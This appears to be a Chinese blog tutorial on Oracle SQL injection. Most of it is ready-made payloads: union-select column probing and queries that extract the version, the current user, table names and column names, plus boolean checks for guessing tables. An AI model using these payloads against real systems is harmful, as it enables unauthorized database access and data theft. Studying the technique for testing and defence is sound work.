• Sql注入之oracle


    Sql注入之oracle

    介绍

    oracle是由甲骨文公司开发的大型数据库,一般应用于电商,铁路,银行等企业,

    它具有如下特点:

    • 支持多用户,大事务量处理
    • 数据安全性和完整性的有效控制
    • 支持分布式数据处理
    • 移植性强

    常用jsp+oracle

    数据库判断

    and exists(select * from dual)
    

    and exists(select * from user_tables)
    

    联合注入

    假设列数为5

    union select null,null,null,null,null from dual
    

    注意一定要写null否则会报错

    判断非数字列:
    • 修改第一个null为数字
    union select 1,null,null,null,null from dual
    
    • 界面返回正常,说明第一个为数字列,无法爆我们所需要信息,修改第二个为 数字,复原第一个null
    union select null,1,null,null,null from dual
    
    • 界面返回错误,说明第二个为字符列,可以报我们所需要信息,进行攻击
    union select null,(select banner from sys.v_$version where rownum=1),null,null,null from dual
    
    • 界面回显出数据库版本,如果没有回显出,则可以继续寻常找非数字列,利用非数字列来爆我们所需信息。
    • 常用攻击语句
    1.获取数据库版本
    select banner from sys.v_$version where rownum =1
    2.获取操作系统版本
    select member from v$logfile where rownum = 1
    3.获取连接数据库的当前用户
    select SYS_CONTEXT('USERENV','CURRENT_USER')from dual
    4.获取数据库
    select owner from all_tables where rownum = 1
    5.获取表名
    select table_name from user_tables where rownum = 1
    6.获取列名
    select column_name from user_tab_columns where table_name='admin' and rownum = 1	#admin替换成你需要的表名
    

    其他注入

    • 获取表
    and (select count(*) from admin)<>0
    

    返回正常则存在admin表,错误则不存在

    • 获取列名
    and (select count(name) from admin)>=0
    

    返回正常则存在name列,错误则不存在

  • 相关阅读:
    文档注释
    配置环境变量
    Java编译-->运行
    DOS命令(日后补充)
    字符、字符串函数
    输入字符串,逆序输出
    求矩阵最大元素值,以及行号和列号
    Apache和Tomcat的区别
    C# params关键字
    JSP的隐式对象(session)
  • 原文地址:https://www.cnblogs.com/Wuser/p/12326622.html
Copyright © 2020-2023  润新知